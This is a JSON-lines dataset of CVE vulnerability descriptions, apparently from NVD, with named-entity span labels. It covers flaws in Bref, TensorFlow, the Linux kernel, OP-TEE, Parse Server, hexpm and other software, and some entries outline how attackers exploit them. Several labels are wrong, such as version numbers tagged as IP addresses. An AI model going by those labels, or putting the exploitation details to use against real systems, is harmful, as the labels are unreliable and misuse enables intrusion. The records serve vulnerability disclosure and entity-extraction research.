{"text": "Bref is an open-source project that helps users go serverless on Amazon Web Services with PHP. When Bref prior to version 2.1.17 is used with the Event-Driven Function runtime and the handler is a `RequestHandlerInterface`, then the Lambda event is converted to a PSR7 object. During the conversion process, if the request is a MultiPart, each part is parsed. In the parsing process, the `Content-Type` header of each part is read using the `Riverline/multipart-parser` library.\n\nThe library, in the `StreamedPart::parseHeaderContent` function, performs slow multi-byte string operations on the header value.\nPrecisely, the `mb_convert_encoding` function is used with the first (`$string`) and third (`$from_encoding`) parameters read from the header value.\n\nAn attacker could send specifically crafted requests which would force the server into performing long operations with a consequent long billed duration.\n\nThe attack has the following requirements and limitations: The Lambda should use the Event-Driven Function runtime and the `RequestHandlerInterface` handler and should implement at least an endpoint accepting POST requests; the attacker can send requests up to 6MB long (this is enough to cause a billed duration between 400ms and 500ms with the default 1024MB RAM Lambda image of Bref); and if the Lambda uses a PHP runtime <= php-82, the impact is higher as the billed duration in the default 1024MB RAM Lambda image of Bref could be brought to more than 900ms for each request. Notice that the vulnerability applies only to headers read from the request body as the request header has a limitation which allows a total maximum size of ~10KB.\n\nVersion 2.1.17 contains a fix for this issue.", "spans": {"SYSTEM: PHP": [[90, 93], [1327, 1330]], "ORGANIZATION: Amazon": [[65, 71]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-29186"}}
{"text": "A reflected cross-site scripting (XSS) vulnerability in Dolibarr 11.0.3 allows remote attackers to inject arbitrary web script or HTML into public/notice.php (related to transphrase and transkey).", "spans": {"FILEPATH: notice.php": [[147, 157]], "VULNERABILITY: cross-site scripting": [[12, 32]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-14475"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. It is possible to trigger a null pointer dereference in TensorFlow by passing an invalid input to `tf.raw_ops.CompressElement`. The [implementation](https://github.com/tensorflow/tensorflow/blob/47a06f40411a69c99f381495f490536972152ac0/tensorflow/core/data/compression_utils.cc#L34) was accessing the size of a buffer obtained from the return of a separate function call before validating that said buffer is valid. We have patched the issue in GitHub commit 5dc7f6981fdaf74c8c5be41f393df705841fb7c5. The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.", "spans": {"URL: https://github.com/tensorflow/tensorflow/blob/47a06f40411a69c99f381495f490536972152ac0/tensorflow/core/data/compression_utils.cc#L34": [[220, 352]], "HASH: 5dc7f6981fdaf74c8c5be41f393df705841fb7c5": [[530, 570]], "ORGANIZATION: GitHub": [[516, 522]], "VULNERABILITY: null pointer dereference": [[99, 123]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-37637"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\necryptfs: Fix buffer size for tag 66 packet\n\nThe 'TAG 66 Packet Format' description is missing the cipher code and\nchecksum fields that are packed into the message packet. As a result,\nthe buffer allocated for the packet is 3 bytes too small and\nwrite_tag_66_packet() will write up to 3 bytes past the end of the\nbuffer.\n\nFix this by increasing the size of the allocation so the whole packet\nwill always fit in the buffer.\n\nThis fixes the below kasan slab-out-of-bounds bug:\n\n  BUG: KASAN: slab-out-of-bounds in ecryptfs_generate_key_packet_set+0x7d6/0xde0\n  Write of size 1 at addr ffff88800afbb2a5 by task touch/181\n\n  CPU: 0 PID: 181 Comm: touch Not tainted 6.6.13-gnu #1 4c9534092be820851bb687b82d1f92a426598dc6\n  Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.2/GNU Guix 04/01/2014\n  Call Trace:\n   <TASK>\n   dump_stack_lvl+0x4c/0x70\n   print_report+0xc5/0x610\n   ? ecryptfs_generate_key_packet_set+0x7d6/0xde0\n   ? kasan_complete_mode_report_info+0x44/0x210\n   ? ecryptfs_generate_key_packet_set+0x7d6/0xde0\n   kasan_report+0xc2/0x110\n   ? ecryptfs_generate_key_packet_set+0x7d6/0xde0\n   __asan_store1+0x62/0x80\n   ecryptfs_generate_key_packet_set+0x7d6/0xde0\n   ? __pfx_ecryptfs_generate_key_packet_set+0x10/0x10\n   ? __alloc_pages+0x2e2/0x540\n   ? __pfx_ovl_open+0x10/0x10 [overlay 30837f11141636a8e1793533a02e6e2e885dad1d]\n   ? dentry_open+0x8f/0xd0\n   ecryptfs_write_metadata+0x30a/0x550\n   ? __pfx_ecryptfs_write_metadata+0x10/0x10\n   ? ecryptfs_get_lower_file+0x6b/0x190\n   ecryptfs_initialize_file+0x77/0x150\n   ecryptfs_create+0x1c2/0x2f0\n   path_openat+0x17cf/0x1ba0\n   ? __pfx_path_openat+0x10/0x10\n   do_filp_open+0x15e/0x290\n   ? __pfx_do_filp_open+0x10/0x10\n   ? __kasan_check_write+0x18/0x30\n   ? _raw_spin_lock+0x86/0xf0\n   ? __pfx__raw_spin_lock+0x10/0x10\n   ? __kasan_check_write+0x18/0x30\n   ? alloc_fd+0xf4/0x330\n   do_sys_openat2+0x122/0x160\n   ? __pfx_do_sys_openat2+0x10/0x10\n   __x64_sys_openat+0xef/0x170\n   ? __pfx___x64_sys_openat+0x10/0x10\n   do_syscall_64+0x60/0xd0\n   entry_SYSCALL_64_after_hwframe+0x6e/0xd8\n  RIP: 0033:0x7f00a703fd67\n  Code: 25 00 00 41 00 3d 00 00 41 00 74 37 64 8b 04 25 18 00 00 00 85 c0 75 5b 44 89 e2 48 89 ee bf 9c ff ff ff b8 01 01 00 00 0f 05 <48> 3d 00 f0 ff ff 0f 87 85 00 00 00 48 83 c4 68 5d 41 5c c3 0f 1f\n  RSP: 002b:00007ffc088e30b0 EFLAGS: 00000246 ORIG_RAX: 0000000000000101\n  RAX: ffffffffffffffda RBX: 00007ffc088e3368 RCX: 00007f00a703fd67\n  RDX: 0000000000000941 RSI: 00007ffc088e48d7 RDI: 00000000ffffff9c\n  RBP: 00007ffc088e48d7 R08: 0000000000000001 R09: 0000000000000000\n  R10: 00000000000001b6 R11: 0000000000000246 R12: 0000000000000941\n  R13: 0000000000000000 R14: 00007ffc088e48d7 R15: 00007f00a7180040\n   </TASK>\n\n  Allocated by task 181:\n   kasan_save_stack+0x2f/0x60\n   kasan_set_track+0x29/0x40\n   kasan_save_alloc_info+0x25/0x40\n   __kasan_kmalloc+0xc5/0xd0\n   __kmalloc+0x66/0x160\n   ecryptfs_generate_key_packet_set+0x6d2/0xde0\n   ecryptfs_write_metadata+0x30a/0x550\n   ecryptfs_initialize_file+0x77/0x150\n   ecryptfs_create+0x1c2/0x2f0\n   path_openat+0x17cf/0x1ba0\n   do_filp_open+0x15e/0x290\n   do_sys_openat2+0x122/0x160\n   __x64_sys_openat+0xef/0x170\n   do_syscall_64+0x60/0xd0\n   entry_SYSCALL_64_after_hwframe+0x6e/0xd8", "spans": {"HASH: 4c9534092be820851bb687b82d1f92a426598dc6": [[744, 784]], "HASH: 30837f11141636a8e1793533a02e6e2e885dad1d": [[1377, 1417]], "FILEPATH: /01/2014": [[865, 873]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[802, 806]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-38578"}}
{"text": "DHIS 2 is an open source information system for data capture, management, validation, analytics and visualization. Affected versions are subject to a privilege escalation vulnerability. A DHIS2 user with authority to manage users can assign superuser privileges to themself by manually crafting an HTTP PUT request. Only users with the following DHIS2 user role authorities can exploit this vulnerability. Note that in many systems the only users with user admin privileges are also superusers. In these cases, the escalation vulnerability does not exist. The vulnerability is only exploitable by attackers who can authenticate as users with the user admin authority.  As this is usually a small and relatively trusted set of users, exploit vectors will often be limited. DHIS2 administrators should upgrade to the following hotfix releases: 2.36.12.1, 2.37.8.1, 2.38.2.1, 2.39.0.1. The only known workaround to this issue is to avoid the assignment of the user management authority to any users until the patch has been applied.", "spans": {"IP_ADDRESS: 2.36.12.1": [[842, 851]], "IP_ADDRESS: 2.37.8.1": [[853, 861]], "IP_ADDRESS: 2.38.2.1": [[863, 871]], "IP_ADDRESS: 2.39.0.1": [[873, 881]], "VULNERABILITY: privilege escalation": [[150, 170]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-41948"}}
{"text": "A vulnerability, which was classified as critical, was found in hughsk flat up to 5.0.0. This affects the function unflatten of the file index.js. The manipulation leads to improperly controlled modification of object prototype attributes ('prototype pollution'). It is possible to initiate the attack remotely. Upgrading to version 5.0.1 is able to address this issue. The name of the patch is 20ef0ef55dfa028caddaedbcb33efbdb04d18e13. It is recommended to upgrade the affected component. The identifier VDB-216777 was assigned to this vulnerability.", "spans": {"HASH: 20ef0ef55dfa028caddaedbcb33efbdb04d18e13": [[395, 435]], "FILEPATH: index.js": [[137, 145]], "VULNERABILITY: prototype pollution": [[241, 260]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-36632"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ninterconnect: Don't access req_list while it's being manipulated\n\nThe icc_lock mutex was split into separate icc_lock and icc_bw_lock\nmutexes in [1] to avoid lockdep splats. However, this didn't adequately\nprotect access to icc_node::req_list.\n\nThe icc_set_bw() function will eventually iterate over req_list while\nonly holding icc_bw_lock, but req_list can be modified while only\nholding icc_lock. This causes races between icc_set_bw(), of_icc_get(),\nand icc_put().\n\nExample A:\n\n  CPU0                               CPU1\n  ----                               ----\n  icc_set_bw(path_a)\n    mutex_lock(&icc_bw_lock);\n                                     icc_put(path_b)\n                                       mutex_lock(&icc_lock);\n    aggregate_requests()\n      hlist_for_each_entry(r, ...\n                                       hlist_del(...\n        <r = invalid pointer>\n\nExample B:\n\n  CPU0                               CPU1\n  ----                               ----\n  icc_set_bw(path_a)\n    mutex_lock(&icc_bw_lock);\n                                     path_b = of_icc_get()\n                                       of_icc_get_by_index()\n                                         mutex_lock(&icc_lock);\n                                         path_find()\n                                           path_init()\n    aggregate_requests()\n      hlist_for_each_entry(r, ...\n                                             hlist_add_head(...\n        <r = invalid pointer>\n\nFix this by ensuring icc_bw_lock is always held before manipulating\nicc_node::req_list. The additional places icc_bw_lock is held don't\nperform any memory allocations, so we should still be safe from the\noriginal lockdep splats that motivated the separate locks.\n\n[1] commit af42269c3523 (\"interconnect: Fix locking for runpm vs reclaim\")", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-27005"}}
{"text": "Vulnerability in the Oracle Marketing product of Oracle E-Business Suite (component: Marketing Administration). Supported versions that are affected are 12.1.1-12.1.3 and 12.2.3-12.2.9. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Marketing. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Marketing, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Marketing accessible data. CVSS 3.1 Base Score 4.7 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [49, 55], [294, 300], [429, 435], [612, 618]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-14555"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nsoc: qcom: pdr: Fix the potential deadlock\n\nWhen some client process A call pdr_add_lookup() to add the look up for\nthe service and does schedule locator work, later a process B got a new\nserver packet indicating locator is up and call pdr_locator_new_server()\nwhich eventually sets pdr->locator_init_complete to true which process A\nsees and takes list lock and queries domain list but it will timeout due\nto deadlock as the response will queued to the same qmi->wq and it is\nordered workqueue and process B is not able to complete new server\nrequest work due to deadlock on list lock.\n\nFix it by removing the unnecessary list iteration as the list iteration\nis already being done inside locator work, so avoid it here and just\ncall schedule_work() here.\n\n       Process A                        Process B\n\n                                     process_scheduled_works()\npdr_add_lookup()                      qmi_data_ready_work()\n process_scheduled_works()             pdr_locator_new_server()\n                                         pdr->locator_init_complete=true;\n   pdr_locator_work()\n    mutex_lock(&pdr->list_lock);\n\n     pdr_locate_service()                  mutex_lock(&pdr->list_lock);\n\n      pdr_get_domain_list()\n       pr_err(\"PDR: %s get domain list\n               txn wait failed: %d\\n\",\n               req->service_name,\n               ret);\n\nTimeout error log due to deadlock:\n\n\"\n PDR: tms/servreg get domain list txn wait failed: -110\n PDR: service lookup for msm/adsp/sensor_pd:tms/servreg failed: -110\n\"\n\nThanks to Bjorn and Johan for letting me know that this commit also fixes\nan audio regression when using the in-kernel pd-mapper as that makes it\neasier to hit this race. [1]", "spans": {"FILEPATH: /adsp/sensor_pd": [[1551, 1566]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-22014"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ns390/vmem: split pages when debug pagealloc is enabled\n\nSince commit bb1520d581a3 (\"s390/mm: start kernel with DAT enabled\")\nthe kernel crashes early during boot when debug pagealloc is enabled:\n\nmem auto-init: stack:off, heap alloc:off, heap free:off\naddressing exception: 0005 ilc:2 [#1] SMP DEBUG_PAGEALLOC\nModules linked in:\nCPU: 0 PID: 0 Comm: swapper Not tainted 6.5.0-rc3-09759-gc5666c912155 #630\n[..]\nKrnl Code: 00000000001325f6: ec5600248064 cgrj %r5,%r6,8,000000000013263e\n           00000000001325fc: eb880002000c srlg %r8,%r8,2\n          #0000000000132602: b2210051     ipte %r5,%r1,%r0,0\n          >0000000000132606: b90400d1     lgr %r13,%r1\n           000000000013260a: 41605008     la %r6,8(%r5)\n           000000000013260e: a7db1000     aghi %r13,4096\n           0000000000132612: b221006d     ipte %r6,%r13,%r0,0\n           0000000000132616: e3d0d0000171 lay %r13,4096(%r13)\n\nCall Trace:\n __kernel_map_pages+0x14e/0x320\n __free_pages_ok+0x23a/0x5a8)\n free_low_memory_core_early+0x214/0x2c8\n memblock_free_all+0x28/0x58\n mem_init+0xb6/0x228\n mm_core_init+0xb6/0x3b0\n start_kernel+0x1d2/0x5a8\n startup_continue+0x36/0x40\nKernel panic - not syncing: Fatal exception: panic_on_oops\n\nThis is caused by using large mappings on machines with EDAT1/EDAT2. Add\nthe code to split the mappings into 4k pages if debug pagealloc is enabled\nby CONFIG_DEBUG_PAGEALLOC_ENABLE_DEFAULT or the debug_pagealloc kernel\ncommand line option.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-54278"}}
{"text": "An issue was discovered in Gradle Enterprise 2017.3 - 2020.2.4 and Gradle Enterprise Build Cache Node 1.0 - 9.2. Unrestricted HTTP header reflection in Gradle Enterprise allows remote attackers to obtain authentication cookies, if they are able to discover a separate XSS vulnerability. This potentially allows an attacker to impersonate another user. Gradle Enterprise affected application request paths:/info/headers, /cache-info/headers, /admin-info/headers, /distribution-broker-info/headers. Gradle Enterprise Build Cache Node affected application request paths:/cache-node-info/headers.", "spans": {"FILEPATH: /info/headers": [[405, 418]], "FILEPATH: /cache-info/headers": [[420, 439]], "FILEPATH: /admin-info/headers": [[441, 460]], "FILEPATH: /distribution-broker-info/headers.": [[462, 496]], "FILEPATH: /cache-node-info/headers.": [[567, 592]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-15768"}}
{"text": "OP-TEE is a Trusted Execution Environment (TEE) designed as companion to a non-secure Linux kernel running on Arm; Cortex-A cores using the TrustZone technology. In version 4.5.0, using a specially crafted tee-supplicant binary running in REE userspace, an attacker can trigger a panic in a TA that uses the libutee Secure Storage API. Many functions in libutee, specifically those which make up the Secure Storage API, will panic if a system call returns an unexpected return code. This behavior is mandated by the TEE Internal Core API specification. However, in OP-TEE’s implementation, return codes of secure storage operations are passed through unsanitized from the REE tee-supplicant, through the Linux kernel tee-driver, through the OP-TEE kernel, back to libutee. Thus, an attacker with access to REE userspace, and the ability to stop tee-supplicant and replace it with their own process (generally trivial for a root user, and depending on the way permissions are set up, potentially available even to less privileged users) can run a malicious tee-supplicant process that responds to storage requests with unexpected response codes, triggering a panic in the requesting TA. This is particularly dangerous for TAs built with `TA_FLAG_SINGLE_INSTANCE` (corresponding to `gpd.ta.singleInstance` and `TA_FLAG_INSTANCE_KEEP_ALIVE` (corresponding to `gpd.ta.keepAlive`). The behavior of these TAs may depend on memory that is preserved between sessions, and the ability of an attacker to panic the TA and reload it with a clean memory space can compromise the behavior of those TAs. A critical example of this is the optee_ftpm TA. It uses the kept alive memory to hold PCR values, which crucially must be non-resettable. An attacker who can trigger a panic in the fTPM TA can reset the PCRs, and then extend them PCRs with whatever they choose, falsifying boot measurements, accessing sealed data, and potentially more. The impact of this issue depends significantly on the behavior of affected TAs. For some, it could manifest as a denial of service, while for others, like the fTPM TA, it can result in the disclosure of sensitive data. Anyone running the fTPM TA is affected, but similar attacks may be possible on other TAs that leverage the Secure Storage API. A fix is available in commit 941a58d78c99c4754fbd4ec3079ec9e1d596af8f.", "spans": {"HASH: 941a58d78c99c4754fbd4ec3079ec9e1d596af8f": [[2302, 2342]], "SYSTEM: Linux kernel": [[86, 98], [704, 716]], "VULNERABILITY: denial of service": [[2040, 2057]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-46733"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nRDMA/siw: Fix the sendmsg byte count in siw_tcp_sendpages\n\nEver since commit c2ff29e99a76 (\"siw: Inline do_tcp_sendpages()\"),\nwe have been doing this:\n\nstatic int siw_tcp_sendpages(struct socket *s, struct page **page, int offset,\n                             size_t size)\n[...]\n        /* Calculate the number of bytes we need to push, for this page\n         * specifically */\n        size_t bytes = min_t(size_t, PAGE_SIZE - offset, size);\n        /* If we can't splice it, then copy it in, as normal */\n        if (!sendpage_ok(page[i]))\n                msg.msg_flags &= ~MSG_SPLICE_PAGES;\n        /* Set the bvec pointing to the page, with len $bytes */\n        bvec_set_page(&bvec, page[i], bytes, offset);\n        /* Set the iter to $size, aka the size of the whole sendpages (!!!) */\n        iov_iter_bvec(&msg.msg_iter, ITER_SOURCE, &bvec, 1, size);\ntry_page_again:\n        lock_sock(sk);\n        /* Sendmsg with $size size (!!!) */\n        rv = tcp_sendmsg_locked(sk, &msg, size);\n\nThis means we've been sending oversized iov_iters and tcp_sendmsg calls\nfor a while. This has a been a benign bug because sendpage_ok() always\nreturned true. With the recent slab allocator changes being slowly\nintroduced into next (that disallow sendpage on large kmalloc\nallocations), we have recently hit out-of-bounds crashes, due to slight\ndifferences in iov_iter behavior between the MSG_SPLICE_PAGES and\n\"regular\" copy paths:\n\n(MSG_SPLICE_PAGES)\nskb_splice_from_iter\n  iov_iter_extract_pages\n    iov_iter_extract_bvec_pages\n      uses i->nr_segs to correctly stop in its tracks before OoB'ing everywhere\n  skb_splice_from_iter gets a \"short\" read\n\n(!MSG_SPLICE_PAGES)\nskb_copy_to_page_nocache copy=iov_iter_count\n [...]\n   copy_from_iter\n        /* this doesn't help */\n        if (unlikely(iter->count < len))\n                len = iter->count;\n          iterate_bvec\n            ... and we run off the bvecs\n\nFix this by properly setting the iov_iter's byte count, plus sending the\ncorrect byte count to tcp_sendmsg_locked.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-39758"}}
{"text": "Spring Cloud Config Server may not use Vault token sent by clients using a X-CONFIG-TOKEN header when making requests to Vault.\nYour application may be affected by this if the following are true:\n  *  You have Spring Vault on the classpath of your Spring Cloud Config Server and\n  *  You are using the X-CONFIG-TOKEN header to send a Vault token to the Spring Cloud Config Server for the Config Server to use when making requests to Vault and\n  *  You are using the default Spring Vault SessionManager implementation LifecycleAwareSessionManager or a SessionManager implementation that persists the Vault token such as SimpleSessionManager.\n\nIn this case the SessionManager persists the first token it retrieves and will continue to use that token even if client requests to the Spring Cloud Config Server include a X-CONFIG-TOKEN header with a different value.\nAffected Spring Products and Versions\nSpring Cloud Config:\n  *  2.2.1.RELEASE - 4.2.1\n\n\nMitigation\nUsers of affected versions should upgrade to the corresponding fixed version.\n\nAffected version(s)Fix versionAvailability4.2.x4.2.2OSS4.1.x4.1.6OSS4.0.x4.0.10Commercial3.1.x3.1.10Commercial3.0.x4.1.6OSS2.2.x4.1.6OSS\nNOTE: Spring Cloud Config 3.0.x and 2.2.x are no longer under open source or commercial support. Users of these versions are encouraged to upgrade to a supported version.\n\nNo other mitigation steps are necessary.", "spans": {"ORGANIZATION: Spring": [[0, 6], [210, 216], [248, 254], [353, 359], [474, 480], [779, 785], [871, 877], [900, 906], [1183, 1189]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-22232"}}
{"text": "WireMock is a tool for mocking HTTP services. The proxy mode of WireMock, can be protected by the network restrictions configuration, as documented in Preventing proxying to and recording from specific target addresses. These restrictions can be configured using the domain names, and in such a case the configuration is vulnerable to the DNS rebinding attacks. A similar patch was applied in WireMock 3.0.0-beta-15 for the WireMock Webhook Extensions. The root cause of the attack is a defect in the logic which allows for a race condition triggered by a DNS server whose address expires in between the initial validation and the outbound network request that might go to a domain that was supposed to be prohibited. Control over a DNS service is required to exploit this attack, so it has high execution complexity and limited impact. This issue has been addressed in version 2.35.1 of wiremock-jre8 and wiremock-jre8-standalone, version 3.0.3 of wiremock and wiremock-standalone, version 2.6.1 of the python version of wiremock, and versions 2.35.1-1 and 3.0.3-1 of the wiremock/wiremock Docker container. Users are advised to upgrade. Users unable to upgrade should either configure firewall rules to define the list of permitted destinations or to configure WireMock to use IP addresses instead of the domain names.", "spans": {"ORGANIZATION: Docker": [[1091, 1097]], "VULNERABILITY: race condition": [[526, 540]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-41329"}}
{"text": "This vulnerability allows local attackers to disclose sensitive information on affected installations of Parallels Desktop 15.1.1-47117. An attacker must first obtain the ability to execute high-privileged code on the target guest system in order to exploit this vulnerability. The specific flaw exists within the xHCI component. The issue results from the lack of proper validation of user-supplied data, which can result in a read past the end of an allocated buffer. An attacker can leverage this in conjunction with other vulnerabilities to execute code in the context of the hypervisor. Was ZDI-CAN-9428.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-8872"}}
{"text": "Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to 9.6.0-alpha.9 and 8.6.35, an attacker can exploit LiveQuery subscriptions to infer the values of protected fields without directly receiving them. By subscribing with a WHERE clause that references a protected field (including via dot-notation or $regex), the attacker can observe whether LiveQuery events are delivered for matching objects. This creates a boolean oracle that leaks protected field values. The attack affects any class that has both protectedFields configured in Class-Level Permissions and LiveQuery enabled. This vulnerability is fixed in 9.6.0-alpha.9 and 8.6.35.", "spans": {"FILEPATH: Node.js": [[95, 102]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-32098"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nfscrypt: fix left shift underflow when inode->i_blkbits > PAGE_SHIFT\n\nWhen simulating an nvme device on qemu with both logical_block_size and\nphysical_block_size set to 8 KiB, an error trace appears during\npartition table reading at boot time. The issue is caused by\ninode->i_blkbits being larger than PAGE_SHIFT, which leads to a left\nshift of -1 and triggering a UBSAN warning.\n\n[    2.697306] ------------[ cut here ]------------\n[    2.697309] UBSAN: shift-out-of-bounds in fs/crypto/inline_crypt.c:336:37\n[    2.697311] shift exponent -1 is negative\n[    2.697315] CPU: 3 UID: 0 PID: 274 Comm: (udev-worker) Not tainted 6.18.0-rc2+ #34 PREEMPT(voluntary)\n[    2.697317] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.3-0-ga6ed6b701f0a-prebuilt.qemu.org 04/01/2014\n[    2.697320] Call Trace:\n[    2.697324]  <TASK>\n[    2.697325]  dump_stack_lvl+0x76/0xa0\n[    2.697340]  dump_stack+0x10/0x20\n[    2.697342]  __ubsan_handle_shift_out_of_bounds+0x1e3/0x390\n[    2.697351]  bh_get_inode_and_lblk_num.cold+0x12/0x94\n[    2.697359]  fscrypt_set_bio_crypt_ctx_bh+0x44/0x90\n[    2.697365]  submit_bh_wbc+0xb6/0x190\n[    2.697370]  block_read_full_folio+0x194/0x270\n[    2.697371]  ? __pfx_blkdev_get_block+0x10/0x10\n[    2.697375]  ? __pfx_blkdev_read_folio+0x10/0x10\n[    2.697377]  blkdev_read_folio+0x18/0x30\n[    2.697379]  filemap_read_folio+0x40/0xe0\n[    2.697382]  filemap_get_pages+0x5ef/0x7a0\n[    2.697385]  ? mmap_region+0x63/0xd0\n[    2.697389]  filemap_read+0x11d/0x520\n[    2.697392]  blkdev_read_iter+0x7c/0x180\n[    2.697393]  vfs_read+0x261/0x390\n[    2.697397]  ksys_read+0x71/0xf0\n[    2.697398]  __x64_sys_read+0x19/0x30\n[    2.697399]  x64_sys_call+0x1e88/0x26a0\n[    2.697405]  do_syscall_64+0x80/0x670\n[    2.697410]  ? __x64_sys_newfstat+0x15/0x20\n[    2.697414]  ? x64_sys_call+0x204a/0x26a0\n[    2.697415]  ? do_syscall_64+0xb8/0x670\n[    2.697417]  ? irqentry_exit_to_user_mode+0x2e/0x2a0\n[    2.697420]  ? irqentry_exit+0x43/0x50\n[    2.697421]  ? exc_page_fault+0x90/0x1b0\n[    2.697422]  entry_SYSCALL_64_after_hwframe+0x76/0x7e\n[    2.697425] RIP: 0033:0x75054cba4a06\n[    2.697426] Code: 5d e8 41 8b 93 08 03 00 00 59 5e 48 83 f8 fc 75 19 83 e2 39 83 fa 08 75 11 e8 26 ff ff ff 66 0f 1f 44 00 00 48 8b 45 10 0f 05 <48> 8b 5d f8 c9 c3 0f 1f 40 00 f3 0f 1e fa 55 48 89 e5 48 83 ec 08\n[    2.697427] RSP: 002b:00007fff973723a0 EFLAGS: 00000202 ORIG_RAX: 0000000000000000\n[    2.697430] RAX: ffffffffffffffda RBX: 00005ea9a2c02760 RCX: 000075054cba4a06\n[    2.697432] RDX: 0000000000002000 RSI: 000075054c190000 RDI: 000000000000001b\n[    2.697433] RBP: 00007fff973723c0 R08: 0000000000000000 R09: 0000000000000000\n[    2.697434] R10: 0000000000000000 R11: 0000000000000202 R12: 0000000000000000\n[    2.697434] R13: 00005ea9a2c027c0 R14: 00005ea9a2be5608 R15: 00005ea9a2be55f0\n[    2.697436]  </TASK>\n[    2.697436] ---[ end trace ]---\n\nThis situation can happen for block devices because when\nCONFIG_TRANSPARENT_HUGEPAGE is enabled, the maximum logical_block_size\nis 64 KiB. set_init_blocksize() then sets the block device\ninode->i_blkbits to 13, which is within this limit.\n\nFile I/O does not trigger this problem because for filesystems that do\nnot support the FS_LBS feature, sb_set_blocksize() prevents\nsb->s_blocksize_bits from being larger than PAGE_SHIFT. During inode\nallocation, alloc_inode()->inode_init_always() assigns inode->i_blkbits\nfrom sb->s_blocksize_bits. Currently, only xfs_fs_type has the FS_LBS\nflag, and since xfs I/O paths do not reach submit_bh_wbc(), it does not\nhit the left-shift underflow issue.\n\n[EB: use folio_pos() and consolidate the two shifts by i_blkbits]", "spans": {"DOMAIN: rel-1.16.3-0-ga6ed6b701f0a-prebuilt.qemu.org": [[804, 848]], "FILEPATH: /crypto/inline_crypt.c": [[549, 571]], "FILEPATH: /01/2014": [[851, 859]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[759, 763]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-40295"}}
{"text": "Incorrect Authorization vulnerability in hexpm hexpm/hexpm ('Elixir.HexpmWeb.API.OAuthController' module) allows Privilege Escalation.\n\nAn API key created with read-only permissions (domain: \"api\", resource: \"read\") can be escalated to full write access under specific conditions.\n\nWhen exchanging a read-only API key via the OAuth client_credentials grant, the resource qualifier is ignored. The resulting JWT receives the broad \"api\" scope instead of the expected \"api:read\" scope. This token is therefore treated as having full API access.\n\nIf an attacker is able to obtain a victim's read-only API key and a valid 2FA (TOTP) code for the victim account, they can use the incorrectly scoped JWT to create a new full-access API key with unrestricted API permissions that does not expire by default and can perform write operations such as publishing, retiring, or modifying packages.\n\nThis vulnerability is associated with program files lib/hexpm_web/controllers/api/oauth_controller.ex and program routines 'Elixir.HexpmWeb.API.OAuthController':validate_scopes_against_key/2.\n\nThis issue affects hexpm: from 71829cb6f6559bcceb1ef4e43a2fb8cdd3af654b before 71c127afebb7ed7cc637eb231b98feb802d62999.", "spans": {"HASH: 71829cb6f6559bcceb1ef4e43a2fb8cdd3af654b": [[1111, 1151]], "HASH: 71c127afebb7ed7cc637eb231b98feb802d62999": [[1159, 1199]], "FILEPATH: /hexpm_web/controllers/api/oauth_controller.ex": [[942, 988]], "VULNERABILITY: Privilege Escalation": [[113, 133]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-21621"}}
{"text": "Linux PV device frontends vulnerable to attacks by backends T[his CNA information record relates to multiple CVEs; the text explains which aspects/vulnerabilities correspond to which CVE.] Several Linux PV device frontends are using the grant table interfaces for removing access rights of the backends in ways being subject to race conditions, resulting in potential data leaks, data corruption by malicious backends, and denial of service triggered by malicious backends: blkfront, netfront, scsifront and the gntalloc driver are testing whether a grant reference is still in use. If this is not the case, they assume that a following removal of the granted access will always succeed, which is not true in case the backend has mapped the granted page between those two operations. As a result the backend can keep access to the memory page of the guest no matter how the page will be used after the frontend I/O has finished. The xenbus driver has a similar problem, as it doesn't check the success of removing the granted access of a shared ring buffer. blkfront: CVE-2022-23036 netfront: CVE-2022-23037 scsifront: CVE-2022-23038 gntalloc: CVE-2022-23039 xenbus: CVE-2022-23040 blkfront, netfront, scsifront, usbfront, dmabuf, xenbus, 9p, kbdfront, and pvcalls are using a functionality to delay freeing a grant reference until it is no longer in use, but the freeing of the related data page is not synchronized with dropping the granted access. As a result the backend can keep access to the memory page even after it has been freed and then re-used for a different purpose. CVE-2022-23041 netfront will fail a BUG_ON() assertion if it fails to revoke access in the rx path. This will result in a Denial of Service (DoS) situation of the guest 